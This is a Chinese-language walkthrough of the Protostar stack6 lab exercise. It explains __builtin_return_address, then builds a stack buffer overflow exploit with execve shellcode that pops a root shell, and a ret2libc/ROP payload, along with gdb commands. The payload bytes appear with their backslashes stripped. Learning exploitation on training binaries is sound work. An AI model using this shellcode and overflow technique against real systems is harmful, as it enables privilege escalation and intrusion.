通過Protostar stack6示範Linux下ROP的簡單使用,ROP就是所謂的Return Orientated Programming,早期也叫ret2libc,思路是一樣的,只是平台換到了Linux下而已。
0×01. __builtin_return_address函數
先介紹下__builtin_return_address這個函數,這個函數接收一個參數,可以是0,1,2等。__builtin_return_address(0)返回當前函數的返回地址,如果參數增大1,那麼就往上走一層擷取返回地址。Windows下好像也有個類似的函數,不過具體叫什麼忘記了。看一個例子就知道這個函數的用處了:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void foo()
{
printf("in foo()n");
printf("Foo: __builtin_return_address(0) = 0x%08Xn",
__builtin_return_address(0));
printf("Foo: __builtin_return_address(1) = 0x%08Xn",
__builtin_return_address(1));
bar();
}
void bar()
{
printf("in bar()n");
printf("Bar: __builtin_return_address(0) = 0x%08Xn",
__builtin_return_address(0));
printf("Bar: __builtin_return_address(1) = 0x%08Xn",
__builtin_return_address(1));
}
int main(int argc, char **argv)
{
foo();
return 0;
}
編譯之後用gdb調試,情況如下:
foo中調用__builtin_return_address(1)得到的結果就是main函數執行完之後的返回地址。
0×02. 直接在棧上執行Shellcode
題目的原始碼如下:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)n", ret);
_exit(1);
}
printf("got path %sn", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
可以看出buffer是可以溢出的,但是後面對返回地址有一個校正,即最高位不能是0xBF,而棧的地址的最高位就是0xBF,所以不能直接跳轉到棧上面去執行Shellcode,但是我們可以通過.text中的一條ret指令作為跳轉。首先需要測試返回地址的覆蓋欄位位於輸入資料中的位置:
python -c "print 'A'*80+'B'*4" > data.txt
gdb stack6
disas getpath
b *0x080484b8 #在這裡返回地址放到了eax中
r < data.txt
info registers eax
看到eax剛好為0×42424242,也就是返回地址被覆蓋成了0×42424242。現在需要一條ret指令,可以直接取main函數的最後一條指令,通過disas main可以查看到地址為0×08048508。如果我們把返回地址覆蓋為0×08048508,那麼從getpath返回後就跑去0×08048508這個地址去執行了,而這裡又是一條返回地址,那麼我們可以在棧上放一個指向Shellcode的地址。
現在需要知道buffer的地址,在gets調用處下斷點:
disas getpath
b *0x080484aa #這裡調用gets
info registers eax
得到buffer的地址為0xBFFFFCCC。buffer的起始地址知道了,我們就可以知道Shellcode的位置了:
0xBFFFFCCC + 80 + 4 + 4 = 0xBFFFFD24。
下面是資料的布局:
用Python產生這段資料,併當做stack6程式的輸入資料:
python -c "print 'A'*80 + 'x08x85x04x08' + 'x24xFDxFFxBF' + 'x31xc0x31xdbxb0x06xcdx80x53x68/ttyx68/devx89xe3x31xc9x66xb9x12x27xb0x05xcdx80x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80'" > data.txt
gdb stack6
r < data.txt
whoami
root
0×03. 使用ROP技術
其實上面跳轉到main函數的最後一條ret指令的方法就是使用了ROP的思想了,不過現在假設棧沒有可執行屬性,那麼上面的方法就不行了。我們可以考慮使用execve(“/bin/sh”, 0, 0) 執行shell。為此,需要先找到execve的地址,gdb下輸入如下命令:
print execve #為0xb7f2e170
print exit #為0xb7ec60c0
通過x /1000s $esp尋找/bin/sh字串,在0xbffffefb發現字串”SHELL=/bin/bash”,我們需要的地址為0xbffffefb+6=0xBFFFFF01。當然也可以在輸入的時候直接傳入字串,不過需要控制字元串結束符,gets又不能讀(讀入的是0x0D,不是0×00),額外處理為很麻煩。上面的尋找方法是尋找進程中的環境變數字串實現的。同時我們也能找到指向0×00000000的指標,如0xBFFFFD6A,往execve的第二個第三個參數傳入這樣的指標也是可以的。
protostar stack6 通過esp尋找環境變數
現在我們的資料布局如下:
execve調用之後是不會返回的,所以填充的那個exit的地址也可以是其他的不帶NULL的資料,按我所想象的,這樣之後就可以了。
python -c "print 'A'*80 + 'x08x85x04x08' + 'x70xE1xF2xB7' + 'xC0x60xECxB7' + 'x01xFFxFFxBF' + 'x6AxFDxFFxBF' + 'x6AxFDxFFxBF'" > data.txt
gdb stack6
r < data.txt
不過這裡在gdb中看到,/bin/bash執行後立刻就退出了,這個估計是使用execve的方式不對,ROP思路本身是沒有問題的,下次分析下第一種方法中的Shellcode,就知道怎麼用了。
0×04. gdb調試學習
反組譯碼指定地區的資料:disas /r 0x0804a000 0x0804b000
查看函數地址:print execve
修改記憶體資料:set *((char*)0x0804aabb=0×00 選擇對應的type即可
將檔案資料作為輸入:run < 檔案路徑
將shell命令輸出作為命令列參數:run $(python -c "print 'A'*100")